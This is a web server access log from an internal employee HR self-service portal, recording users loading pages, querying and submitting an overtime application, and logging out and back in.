192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [03/Sep/2025:16:55:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [03/Sep/2025:16:55:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.222 - - [03/Sep/2025:16:55:07 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658
192.168.11.222 - - [03/Sep/2025:16:55:07 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457
192.168.11.222 - - [03/Sep/2025:16:55:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.222 - - [03/Sep/2025:16:55:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:09 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:09 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.222 - - [03/Sep/2025:16:55:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 24923 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 24923
192.168.11.222 - - [03/Sep/2025:16:55:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 24923 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 24923
192.168.11.222 - - [03/Sep/2025:16:55:19 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.222 - - [03/Sep/2025:16:55:19 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:19 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.222 - - [03/Sep/2025:16:55:19 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165618 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165618
192.168.11.222 - - [03/Sep/2025:16:55:36 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:36 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.222 - - [03/Sep/2025:16:55:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800
192.168.11.222 - - [03/Sep/2025:16:55:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800
192.168.11.222 - - [03/Sep/2025:16:55:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:39 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630
192.168.11.222 - - [03/Sep/2025:16:55:39 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:39 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568
192.168.11.222 - - [03/Sep/2025:16:55:39 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.222 - - [03/Sep/2025:16:55:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.222 - - [03/Sep/2025:16:55:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [03/Sep/2025:16:55:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.222 - - [03/Sep/2025:16:55:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.222 - - [03/Sep/2025:16:55:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 -
192.168.11.222 - - [03/Sep/2025:16:55:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:47 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.222 - - [03/Sep/2025:16:55:47 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:48 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:48 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084
192.168.11.222 - - [03/Sep/2025:16:55:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800
192.168.11.222 - - [03/Sep/2025:16:55:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
100.64.0.1 - - [03/Sep/2025:16:56:41 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:56:41 +0800] "GET / HTTP/1.0" 200 439
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.136 - - [03/Sep/2025:16:56:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.136 - - [03/Sep/2025:16:56:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.136 - - [03/Sep/2025:16:56:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [03/Sep/2025:16:56:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
